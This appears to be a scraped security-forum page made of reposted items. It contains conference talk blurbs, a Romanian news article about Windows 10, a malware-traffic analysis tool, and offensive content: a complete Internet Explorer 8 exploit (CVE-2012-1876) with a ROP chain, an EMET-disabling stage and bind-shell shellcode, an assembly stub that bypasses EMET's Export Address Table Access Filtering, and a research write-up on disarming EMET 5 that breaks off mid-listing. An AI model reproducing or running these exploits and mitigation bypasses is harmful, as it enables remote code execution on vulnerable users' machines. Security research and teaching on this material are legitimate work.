Nytro

NoSQL Injections: Moving Beyond 'or '1'='1' Matt Bromiley Derbycon 2014 Gone are the days of SELECT *... Hadoop- Mongo- Elastic - search. NoSQL databases are all the rage these days- as companies migrate some- if not all- of their data to these new storage types. As infosec practitioners encounter these bad boys- we need to know what to do with them. This talk will combine viewpoints of NoSQL injections and the footprints left behind. Using MongoDB as an example- attendees will be shown basic Mongo operations and through log analysis- determine which operations are logged and which are not. We’ll then build up our NoSQL injection skills- making Mongo and Elasticsearch sing. Attendees should be prepared to learn some neat NoSQL tricks- and proceed comfortably knowing what’s logged and what’s not. Via: NoSQL Injections: Moving Beyond 'or '1'='1' - Matt Bromiley Derbycon 2014 (Hacking Illustrated Series InfoSec Tutorial Videos)

Bypassing Internet Explorer's XSS Filter Carlos Munoz Derbycon 2014 There is a known flaw in the built-in anti-reflective Cross Site Scripting filter in Microsoft’s Internet Explorer web browser. This is a flaw that Microsoft knows about- but has decided that it will not be fixed. Bring your laptop with a Windows VM and learn how to perform this bypass. Via: Bypassing Internet Explorer's XSS Filter - Carlos Munoz Derbycon 2014 (Hacking Illustrated Series InfoSec Tutorial Videos)

Microsoft a prezentat Windows 10 R?zvan B?lt?re?u 30-09-2014 Windows 10 este noul Windows prezentat de Microsoft. Nu se va numi Windows 9, cum s-a vehiculat, ci Windows 10 ?i va fi pentru toate tipurile de sisteme de calcul folosite în prezent. FOTO The Verge Windows 10 a fost prezentat în aceast? sear? la San Francisco de c?tre Microsoft. Noua versiune nu este radical schimbat? fa?? de restul, ci integreaz? acele nout??i aduse de Windows 8 cu cele disponibile în vechile versiuni. Practic, Windows 10 este versiunea care s? aduc? toate metodele de input mai aproape ?i s? uniformizeze experien?a de utilizare. Relatare livetext din timpul conferin?ei Microsoft Evenimentul Microsoft de lansare a Windows 10 s-a desf??urat în San Francisco. Locul a fost împânzit cu bannere cu Windows, cu computere pe care va fi demonstrat cel mai nou sistem de operare ?i scena e preg?tit? pentru marele anun?. „Circa 1,5 miliarde de oameni folosesc Windows“, a?a ?i-a început Terry Myerson, ?eful diviziei Windows, prezentarea. Cu siguran?? sunt mul?i, cu siguran?? Windows 9 va face cumva s? fie ?i mai mul?i. „Windows a ajuns în prag (n.r.: Threshold) ?i e timpul pentru un nou Windows“, a continuat acesta. Acesta spune c? noul Windows trebuie construit cu gândul la o lume axat? pe dispozitive mobile. „Care ar trebui s? fie numele acestuia?“, s-a întrebat retoric. El a spus c? noul Windows ar trebui s? se numeasc? Windows One. „Dar Windows 1 a fost f?cut deja. ?i n-ar fi corect s?-i spun Windows 9“, a continuat. „Noul Windows se va numi Windows 10“, a comunicat el numele. „Windows 10 va rula pe cele mai noi ?i mai diferite dispozitive care exist? în acest moment“, a spus ?eful Windows. „Vom livra experien?a potrivit? la timpul potrivit. Windows 10 va fi cea mai complex? platform? pe care am lansat-o vreodat?“. „Windows 10 va fi compatibil cu toate sistemele folosite în prezent“, a mai spus ?eful Windows. Este o platform? dezvoltat? pentru a îngloba tot ceea ce Microsoft a prezentat în ultimii ani. De asemenea, are func?ionalit??i noi ?i pentru segmentul enterprise, dup? cum se vede în poza de mai jos. În noul Windows, denumit Windows 10, po?i redimensiona live tile-urle, îl po?i personaliza mai mult decât s-a putut pân? acum cu Windows 8 sau Windows 7 ?i revine într-o anumit? form? meniul Start. Este vorba de optimizare a noului sistem de operare pentru toate dispozitivele pe care le pot folosi utilizatorii. Cel care l-a prezentat a fost Joe Belfiore, ?eful diviziei Windows Phone de la Microsoft. „Tile-urile ?i pictogramele prezente în sistemul de operare sunt o îmbinare a aplica?iilor clasice cu cele universale (n.r.: din Modern UI)“, a spus Belfiore. De asemenea, în Windows 10 func?ioneaz? foarte bine Snap View din Windows 8. Acum, func?ioneaz? ?i cu aplica?ii clasice, nu doar cu cele noi. Dup? cum se vede, este o îmbinare reu?it? între ceea ce ?tii pe Windows 7 ?i ceea ce poate face Windows 8. „Ceea ce dorim s? facem în Windows 10, unul dintre lucrurile pe care punem accentul, este s? îi înv???m pe utilizatorii novici s? se descurce mai bine în multitasking“, a spus Belfiore. Ceea ce el a prezentat este o noutate pe care Apple o folose?te de ceva timp ?i o nume?t Expose. Practic, este un task manager foarte bun, u?or de folosit. De remarcat îns? c? la baza ecranului sunt mai multe desktop-uri ?i po?i vedea toate aplica?iile care ruleaz? în acela?i timp. Desktop-urile multiple este una dintre nout??ile semnificative din Windows 10. Exist? în Windows 10 ceea ce se nume?te Snap Assist, unde po?i trece o aplica?ie dintr-un desktop în altul. Este o func?ionalitate introdus? mai ales pentru power users. Belfiore a spus c? aceast? func?ionalitate va cre?te nivelul de productivitate. Belfiore a mai vorbit ?i despre cum Windows 10 integreaz? toate acele metode de input, astfel încât s? func?ioneze eficient petnru toat? lumea. „Asta este experien?a de utilizare din Windows 10. Nu vom vorbi despre func?ionalit??ile orientate spre consumatorul obi?nuit despre care vom discuta mai târziu“, a spus Belfiore. Au schimbat chiar ?i command prompt. Joe Belfiore nu a uitat de utilizatorii cu dispozitive dotate cu ecrane tactile. „Avem nevoie de ceva care func?ioneaz? atât pentru utilizatorii de Windows 7, cât ?i pentru cei de Windows 8“, a spus Belfiore. Astfel, în Windows 10 când execu?i un swipe de la stânga vei vedea programele active. Diferen?ele sunt acum la nivel vizual, mult mai u?or s? interac?ionezi cu acestea fa?? de cele din Windows 8, când ap?reau pe o margine neagr? în stânga. Windows 10 va fi livrat abia în 2015, iar mai multe detalii despre func?ionalit??ile destinate consumatorilor obi?nui?i vor fi oferite la conferin?a Build din aprilie 2015. Sursa: Microsoft a prezentat Windows 10

[h=1]Malcom - Malware Communication Analyzer[/h] Malcom is a tool designed to analyze a system's network communication using graphical representations of network traffic. This comes handy when analyzing how certain malware species try to communicate with the outside world. Malcom can help you: detect central command and control (C&C) servers understand peer-to-peer networks observe DNS fast-flux infrastructures quickly determine if a network artifact is 'known-bad' The aim of Malcom is to make malware analysis and intel gathering faster by providing a human-readable version of network traffic originating from a given host or network. Convert network traffic information to actionable intelligence faster. Check the wiki for a Quickstart with some nice screenshots and a tutorial on how to add your own feeds. Graph for the host tomchop.me. [h=2]Quick how-to[/h] Install Elevate your privileges to root (yeah, I know, see disclaimer) Start the webserver with ./malcom.py (or see options with ./malcom.py --help) ** Default port is 8080 To have a dedicated process for analytics, run ./malcom.py --analytics To have a process dedicated to feeding, run ./malcom.py --feeds ** Alternatively, run the feeds from celery. See the feeds section for details on how to to this. Sursa: https://github.com/tomchop/malcom

[h=1]Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037)[/h] <!-- ** Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 5.0 bypass ** Exploit Coded by sickness || EMET 5.0 bypass by ryujin ** http://www.offensive-security.com/vulndev/disarming-emet-v5-0/ ? ** Affected Software: Internet Explorer 8 ** Vulnerability: Fixed Col Span ID ** CVE: CVE-2012-1876 ** Tested on Windows 7 (x86) - IE 8.0.7601.17514 & EMET 5.0 --> <html> <body> <div id="evil"></div> <table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table> <script language='javascript'> function strtoint(str) { return str.charCodeAt(1)*0x10000 + str.charCodeAt(0); } var free = "EEEE"; while ( free.length < 500 ) free += free; var string1 = "AAAA"; while ( string1.length < 500 ) string1 += string1; var string2 = "BBBB"; while ( string2.length < 500 ) string2 += string2; var fr = new Array(); var al = new Array(); var bl = new Array(); var div_container = document.getElementById("evil"); div_container.style.cssText = "display:none"; for (var i=0; i < 500; i+=2) { fr[i] = free.substring(0, (0x100-6)/2); al[i] = string1.substring(0, (0x100-6)/2); bl[i] = string2.substring(0, (0x100-6)/2); var obj = document.createElement("button"); div_container.appendChild(obj); } for (var i=200; i<500; i+=2 ) { fr[i] = null; CollectGarbage(); } function heapspray(cbuttonlayout) { CollectGarbage(); var rop = cbuttonlayout + 4161; // RET var rop = rop.toString(16); var rop1 = rop.substring(4,8); var rop2 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 11360; // POP EBP var rop = rop.toString(16); var rop3 = rop.substring(4,8); var rop4 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 111675; // XCHG EAX,ESP var rop = rop.toString(16); var rop5 = rop.substring(4,8); var rop6 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 12377; // POP EBX var rop = rop.toString(16); var rop7 = rop.substring(4,8); var rop8 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 642768; // POP EDX var rop = rop.toString(16); var rop9 = rop.substring(4,8); var rop10 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 12201; // POP ECX --> Changed var rop = rop.toString(16); var rop11 = rop.substring(4,8); var rop12 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 5504544; // Writable location var rop = rop.toString(16); var writable1 = rop.substring(4,8); var writable2 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 12462; // POP EDI var rop = rop.toString(16); var rop13 = rop.substring(4,8); var rop14 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 12043; // POP ESI --> changed var rop = rop.toString(16); var rop15 = rop.substring(4,8); var rop16 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 63776; // JMP EAX var rop = rop.toString(16); var jmpeax1 = rop.substring(4,8); var jmpeax2 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 85751; // POP EAX var rop = rop.toString(16); var rop17 = rop.substring(4,8); var rop18 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 4936; // VirtualProtect() var rop = rop.toString(16); var vp1 = rop.substring(4,8); var vp2 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX] var rop = rop.toString(16); var rop19 = rop.substring(4,8); var rop20 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 234657; // PUSHAD var rop = rop.toString(16); var rop21 = rop.substring(4,8); var rop22 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 408958; // PUSH ESP var rop = rop.toString(16); var rop23 = rop.substring(4,8); var rop24 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 2228408; // POP ECX var rop = rop.toString(16); var rop25 = rop.substring(4,8); var rop26 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 1586172; // POP EAX var rop = rop.toString(16); var rop27 = rop.substring(4,8); var rop28 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 1589179; // MOV EAX,DWORD PTR [EAX] var rop = rop.toString(16); var rop29 = rop.substring(4,8); var rop30 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 1884912; // PUSH EAX var rop = rop.toString(16); var rop31 = rop.substring(4,8); var rop32 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 2140694; // ADD EAX,ECX var rop = rop.toString(16); var rop33 = rop.substring(4,8); var rop34 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 2364867; // MOV DWORD PTR [EAX],ECX var rop = rop.toString(16); var rop35 = rop.substring(4,8); var rop36 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 5036248; // ADD ESP,0C var rop = rop.toString(16); var rop37 = rop.substring(4,8); var rop38 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 1816868; // MOV DWORD PTR DS:[ESI],EAX var rop = rop.toString(16); var rop39 = rop.substring(4,8); var rop40 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 3660458; // MOV EDX,EAX # MOV EAX,EDX # POP ESI var rop = rop.toString(16); var rop41 = rop.substring(4,8); var rop42 = rop.substring(0,4); // } RET var rop = cbuttonlayout + 1560432; // PUSH EDX # CALL EAX var rop = rop.toString(16); var rop43 = rop.substring(4,8); var rop44 = rop.substring(0,4); // } RET var getmodulew = cbuttonlayout + 4840; // GetModuleHandleW var getmodulew = getmodulew.toString(16); var getmodulew1 = getmodulew.substring(4,8); var getmodulew2 = getmodulew.substring(0,4); // } RET var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING shellcode+= unescape("%u4141%u4141"); // PADDING shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN // EMET disable part 0x01 // Implement the Tachyon detection grid to overcome the Romulan cloaking device. shellcode+= unescape("%u"+rop27+"%u"+rop28); // POP EAX # RETN shellcode+= unescape("%u"+getmodulew1+"%u"+getmodulew2); // GetModuleHandleW Ptr shellcode+= unescape("%u"+rop29+"%u"+rop30); // MOV EAX,DWORD PTR [EAX] # RETN shellcode+= unescape("%u"+rop31+"%u"+rop32); // PUSH EAX # RETN shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN shellcode+= unescape("%u10c4%u076d"); // EMET_STRING_PTR (GetModuleHandle argument) shellcode+= unescape("%ua84c%u000a"); // EMET_CONFIG_STRUCT offset shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI shellcode+= unescape("%u10c0%u076d"); // MEM_ADDRESS_PTR (Store EMET base address here for later) shellcode+= unescape("%u"+rop39+"%u"+rop40); // MOV DWORD PTR DS:[ESI],EAX shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN (Get the address of EMET_CONFIG_STRUCT) shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX] shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI shellcode+= unescape("%u104c%u076d"); // Get fake DecodePointer argument from the stack and update it with the encoded value shellcode+= unescape("%u"+rop39+"%u"+rop40); // MOV DWORD PTR DS:[ESI],EAX shellcode+= unescape("%u"+rop27+"%u"+rop28); // POP EAX # RETN shellcode+= unescape("%u10c0%u076d"); // Get EMET base address Ptr shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX] shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN shellcode+= unescape("%u80b0%u0004"); // Get DecodePointer offset from the stack shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN (DecodePointer in IAT) shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX] shellcode+= unescape("%u"+rop31+"%u"+rop32); // PUSH EAX # RETN shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI shellcode+= unescape("%u9090%u9090"); // Fake DecodePointer argument (Will be patched) shellcode+= unescape("%u10bc%u076d"); // MEM_ADDRESS_PTR (Store decoded pointer here here for later) shellcode+= unescape("%u"+rop39+"%u"+rop40); // MOV DWORD PTR DS:[ESI],EAX shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN shellcode+= unescape("%u0558%u0000"); // ROP Protections offset shellcode+= unescape("%u"+rop33+"%u"+rop34); // ADD EAX,ECX # RETN shellcode+= unescape("%u"+rop25+"%u"+rop26); // POP ECX # RETN shellcode+= unescape("%u0000%u0000"); // NULL shellcode+= unescape("%u"+rop35+"%u"+rop36); // MOV DWORD PTR [EAX],ECX # RETN // EMET disable part 0x01 end // Performing a standard Kumeh maneuver ... (VirtualProtect mona chain) shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP shellcode+= unescape("%u1024%u0000"); // Size 0x00001024 shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX shellcode+= unescape("%u0040%u0000"); // 0x00000040 shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2);// JMP EAX shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect() shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX] shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP // Store various pointers here shellcode+= unescape("%u9090%u9090"); // NOPs shellcode+= unescape("%u9090%u14eb"); // NOPs shellcode+= unescape("%u4242%u4242"); // Decoded CONFIG structure pointer shellcode+= unescape("%u4141%u4141"); // Store BaseAddress address on the *stack* shellcode+= "EMET"; // EMET string shellcode+= unescape("%u0000%u0000"); // EMET string shellcode+= unescape("%u9090%u9090"); // NOPs shellcode+= unescape("%u9090%u9090"); // NOPs // Store various pointers here // EMET disable part 0x02 // MOV EAX,DWORD PTR DS:[076D10BCH] // MOV ESI,DWORD PTR [EAX+518H] // SUB ESP,2CCH // MOV DWORD PTR [ESP],10010H // MOV EDI,ESP // MOV ECX,2CCH // ADD EDI,4 // SUB ECX,4 // XOR EAX,EAX // REP STOS BYTE PTR ES:[EDI] // PUSH ESP // PUSH 0FFFFFFFEH // CALL ESI shellcode+= unescape("%ubca1%u6d10%u8b07%u18b0%u0005%u8100%uccec" + "%u0002%uc700%u2404%u0010%u0001%ufc8b%uccb9" + "%u0002%u8300%u04c7%ue983%u3304%uf3c0%u54aa" + "%ufe6a%ud6ff"); shellcode+= unescape("%u9090%u9090"); // NOPs shellcode+= unescape("%u9090%u9090"); // NOPs // EMET disable part 0x02 end // Bind shellcode on 4444 // msf > generate -t js_le // windows/shell_bind_tcp - 342 bytes // http://www.metasploit.com // VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript= // I would keep the shellcode the same size for better reliability shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" + "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" + "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" + "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" + "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" + "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" + "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" + "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" + "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" + "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" + "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" + "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" + "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" + "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" + "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" + "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" + "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" + "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" + "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" + "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" + "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" + "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" + "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" + "%u006a%uff53%u41d5"); // Total spray should be 1000 var padding = unescape("%u9090"); while (padding.length < 1000) padding = padding + padding; var padding = padding.substr(0, 1000 - shellcode.length); shellcode+= padding; while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); var spray = new Array(); for (i=0; i<100; i++) { spray[i] = onemeg.substr(0, onemeg.length); } } function leak(){ var leak_col = document.getElementById("132"); leak_col.width = "41"; leak_col.span = "19"; } function get_leak() { var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13)); str_addr = str_addr - 1410704; var hex = str_addr.toString(16); //alert(hex); setTimeout(function(){heapspray(str_addr)}, 50); } function trigger_overflow(){ var evil_col = document.getElementById("132"); evil_col.width = "1245880"; evil_col.span = "44"; } setTimeout(function(){leak()}, 400); setTimeout(function(){get_leak()},450); setTimeout(function(){trigger_overflow()}, 700); </script> </body> </html> Sursa: http://www.exploit-db.com/exploits/34815/

; BYPASSING EMET Export Address Table Access Filtering feature ; ------------------------------------------------------------------ ; just a simple stub for shellcode that erases debug registers ; therefore no more emet breakpoints (no EAF anymore) ; if you want to use it on other systems (than XP) just change the ; NtSetContextThread_XP syscall value. ; ------------------------------------------------------------------ ; ; and just for you information what is EAF (from the help file): ; ; In order to do something "useful", shellcode generally needs to call ; Windows APIs. However, in order to call an API, shellcode must first ; find the address where that API has been loaded. To do this the vast ; majority of shellcode iterates through the export address table of all ; loaded modules, looking for modules that contain useful APIs. Typically ; this involves kernel32.dll or ntdll.dll. Once an interesting module has ; been found, the shellcode can then figure out the address where an API ; in that module resides. This mitigation filters accesses to the Export ; Address Table (EAT), allowing or disallowing the read/write access based ; on the calling code. With EMET in place, most of today?s shellcode will ; be blocked when it tries to lookup the APIs needed for its payload. ; ; ; ; SMALL UPDATE 03/2014: ; -------------------- ; ; Just a hint for people that still use this thing (never had enough motivation ; to write this crap down): ; Back in the day one of the most heavily used antidebugging method was to use ; NtContinue api function (directly or through SEH) to resume execution ; from a given CONTEXT. So long story short you can clear your debug registers ; by calling NtContinue. The syscall number for <=Win7 is 0x40 (on Win8=0x41, ; on Win8.1=0x42). Sample code is provided at the bottom of this file. ; ; ; - Piotr Bania / www.piotrbania.com ; ; ---------- EXAMPLE OF USING NtSetContextThread on XP ----------------------- ; (tasm style) CONTEXT_SIZE equ 0000002cch CURRENT_THREAD equ 0FFFFFFFEh NtSetContextThread_XP equ 0000000D5h mov ebx, esp sub esp, CONTEXT_SIZE mov dword ptr [esp], CONTEXT_DEBUG_REGISTERS ; well zeroing entire struct is not necessary but who cares. mov edi, esp mov ecx, CONTEXT_SIZE add edi, 4 sub ecx, 4 xor eax,eax rep stosb push esp ; context push CURRENT_THREAD call get_delta get_delta: pop edx lea eax, [edx + (offset my_ret - offset get_delta)] push eax push eax mov edx, esp mov eax, NtSetContextThread_XP db 0Fh, 034h ; sysenter my_ret: mov esp, ebx ; *** you are now free, no debug breakpoints *** <write your standard shellcode here...> ; ; ---------- EXAMPLE OF USING NtContinue on Win7 x64 ----------------------- ; (fasm style) CONTEXT_SIZE equ 0000004d0h CONTEXT_FLAGS_OFF equ 000000070h CONTEXT_DEBUG_REGISTERS equ 000100010h NtContinue_WIN7 equ 000000040h sub rsp, CONTEXT_SIZE and sp, 0fff0h mov rdi, rsp mov ecx, CONTEXT_SIZE - 4 add edi, 4 xor eax, eax rep stosb mov dword [rsp+CONTEXT_FLAGS_OFF], CONTEXT_DEBUG_REGISTERS mov dl, 1 mov r10, rsp ; context lea rax, [return_point] push rax xor rax, rax mov eax, NtContinue_WIN7 syscall return_point: Sursa: http://piotrbania.com/all/articles/anti_emet_eaf.txt

In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm the ROP mitigations introduced in EMET 4.x by abusing a global variable in the .data section located at a static offset. A general overview of the EMET 5 technical preview has been recently published here. However, the release of the final version introduced several changes that mitigated our attack and we were curious to see how difficult it would be to adapt our previous disarming technique to this new version of EMET. In our research we targeted 32-bit systems and compared the results across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1, Windows XP SP3 and Windows 2003 SP2). We chose to use the IE8 ColspanID vulnerability once again in order to maintain consistency through our research. ROP PROTECTIONS CONFIGURATION HARDENING The very first thing that we noticed is that the global variable we exploited to disarm the ROP Protections (ROP-P) routine is not pointing directly to the ROP-P general switch anymore. This variable, which is now at offset 0x000aa84c from the EMET.dll base address, holds an encoded pointer to a structure of 0x560 bytes (See CONFIG_STRUCT in Fig. 1). The ROP-P general switch is now located at CONFIG_STRUCT+0x558 (Fig. 1, Fig.2). Figure 2: ROP-P General Switch Encoded pointers are used to provide a layer of protection for the actual pointer values. These pointer values can be decoded by using the appropriate DecodePointer Windows API. Our first idea was to try to use the DecodePointer function to get the required pointer and then to zero out the general ROP-P switch. This API can usually be found in the Import Address Table (IAT) of several modules loaded by target processes. Additionally, since EMET.dll needs DecodePointer, we can extract the offset from the DLL base address directly from its IAT. The first step, as shown in our previous blog post, is to gather the EMET.dll base address. In this particular case, we will also save the EMET base address somewhere in memory in order to get the absolute address of DecodePointer later on. Once we decode the encoded pointer, disarming ROP becomes a very similar exercise as in our previous exploit. The following ROP gadgets were used to disable the ROP Protections in the IE8 ColspanID exploit: POP EAX # RETN // Pop GetModuleHandle Ptr from the stack GetModuleHandle // GetModuleHandle Ptr MOV EAX,[EAX] # RETN // Get GetModuleHandle Address PUSH EAX # RETN // Call GetModuleHandle POP ECX # RETN // GetModuleHandle RET Address: Pop EMET_CONFIG_STRUCT EMET_STRING_PTR // GetModuleHandle argument EMET_CONFIG_STRUCT // EMET_CONFIG_STRUCT offset POP ESI // Pop MEM_ADDRESS Ptr to save EMET base MEM_ADDRESS MOV [ESI],EAX # RETN // Save EMET base address at MEM_ADDRESS ADD EAX,ECX # RETN // Get the address of EMET_CONFIG_STRUCT MOV EAX,[EAX] // Get the encoded value stored at EMET_CONFIG_STRUCT POP ESI // Pop DecodePointer ARG Ptr from the stack DECODEPTR_ARG_PTR MOV [ESI],EAX // Update DECODEPTR_ARG with encoded value POP EAX # RETN // Pop EMET base address Ptr MEM_ADDRESS MOV EAX,[EAX] // Get EMET Base POP ECX # RETN // Pop DecodePointer offset from the stack DECODEPTR_OFFSET ADD EAX,ECX # RETN // Get the address of DecodePointer in IAT MOV EAX,[EAX] // Get the address of DecodePointer PUSH EAX # RETN // Call DecodePointer POP ECX # RETN // Pop ROP-P Global Switch offset DECODEPTR_ARG ROP_P_OFFSET ADD EAX,ECX # RETN // Get address of ROP-P Global Switch offset POP ECX # RETN // Pop 0 into ECX 0x00000000 MOV [EAX],ECX # RETN // Zero out the ROP-P Global Switch EAF In our previous blog post, we bypassed EAF by using a known technique presented by the security researcher Piotr Bania. The technique makes use of the Windows syscall NtSetContextThread to clear the hardware breakpoints set by EMET on the Export Address Table of kernel32.dll and ntdll.dll. EMET 5 now protects the KERNELBASE.dll Export Address Table as well, but the only new protection implemented in version 5 against the use of the above technique is that now NtSetContextThread as well as NtContinue (which can also be used in a similar way to bypass EAF) are hooked by the toolkit. “Unfortunately”, the hook eventually calls into the ROP-P routine, and since all the checks are already disarmed by the previous ROP chain, it is completely ineffective. The result is that no further changes to the shellcode were needed to bypass EMET 5 with all of its mitigations enabled except for EAF+. By resolving and calling NtSetContextThread, we were once again able to bypass EAF and successfully obtain a remote shell. EAF+ EAF+, on the other hand, introduces a few extra security checks. First of all, it offers the possibility of blacklisting specific modules that should never be allowed to read protected locations (EAT and MZ/PE header of specific modules). For IE, EAF+ blacklists by default mshtml.dll, Adobe Flash flash*.ocx, jscript*.dll, vbscript.dll and vgx.dll. However, since in our case we are resolving NtSetContextThread by directly calling GetProcAddress, we are implicitly bypassing this mitigation. When we ran our exploit with EAF+ enabled, IE crashed without any explanations or EMET-related log entries in the Windows Event Viewer. Our first thought was that EMET detected the stack register being out of the allowed boundaries, as this check and the detection of a mismatch of stack and frame pointer registers are the other two mitigations introduced by EAF+. We were able to verify this by setting a breakpoint at EMET+0x40BA6 (Fig. 3), which is a basic block belonging to the EAF/EAF+ ExceptionHandler (EMET+0x4084A) installed by the toolkit. Figure 3: EAF+ Stack Register Check Since we have already disarmed EMET ROP mitigations as well as DEP/ASLR at this point, we were able to bypass the stack registers check executing the following instructions just before resolving NtSetContextThread: XOR EAX,EAX MOV EAX,DWORD PTR FS:[EAX+18] MOV EAX,DWORD PTR DS:[EAX+4] ADD EAX,-OFFSET XCHG EAX,ESP The first three instructions simply recover the StackBase pointer value for the executing thread from the Thread Environment Block (TEB). We then add a negative offset to fall within StackBase and StackLimit and set ESP to point to this value. 0:021> dt -r1 _TEB ntdll!_TEB +0x000 NtTib : _NT_TIB +0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : Ptr32 Void +0x008 StackLimit : Ptr32 Void +0x00c SubSystemTib : Ptr32 Void +0x010 FiberData : Ptr32 Void +0x010 Version : Uint4B +0x014 ArbitraryUserPointer : Ptr32 Void +0x018 Self : Ptr32 _NT_TIB At this point, we were happy enough as our exploit was working nicely with all the protections enabled. However, as we were reversing the EAF/EAF+ ExceptionHandler, we noticed something interesting. At offset EMET+0x00040E75 (Fig. 4) there is a call to NtSetContextThread, but rather than calling into the hooked Windows Native API, EMET calls a stub that sets up the syscall number into the EAX register and then jumps into NtSetContextThread+0x5 to bypass the EMET shim (Fig. 5). Figure 4: Call to the Unhooked NtSetContextThread The interesting part is that the pointer to this stub is an entry in the configuration structure that we used to disarm the ROP Protections. In other words, we can use this stub as an alternative way to bypass EAF+ as we can directly call into POINTER(CONFIG_STRUCT+0x518) without the need to resolve the NtSetContextThread address. Figure 5: NtSetContextThread unhooked stub This discovery made us even more curious and we started to snoop around the entire structure. We saw that at specific static offsets from the beginning of the structure, you can find pointers to respective stubs for all the hooked Windows APIs: shoujou: desktop ryujin$ ./config_struct.py struct.txt | sort -u Function: KERNELBASE!CreateFileMappingNumaW Offset:0x428 Function: KERNELBASE!CreateFileMappingW Offset:0x410 Function: KERNELBASE!CreateFileW Offset:0x3b0 Function: 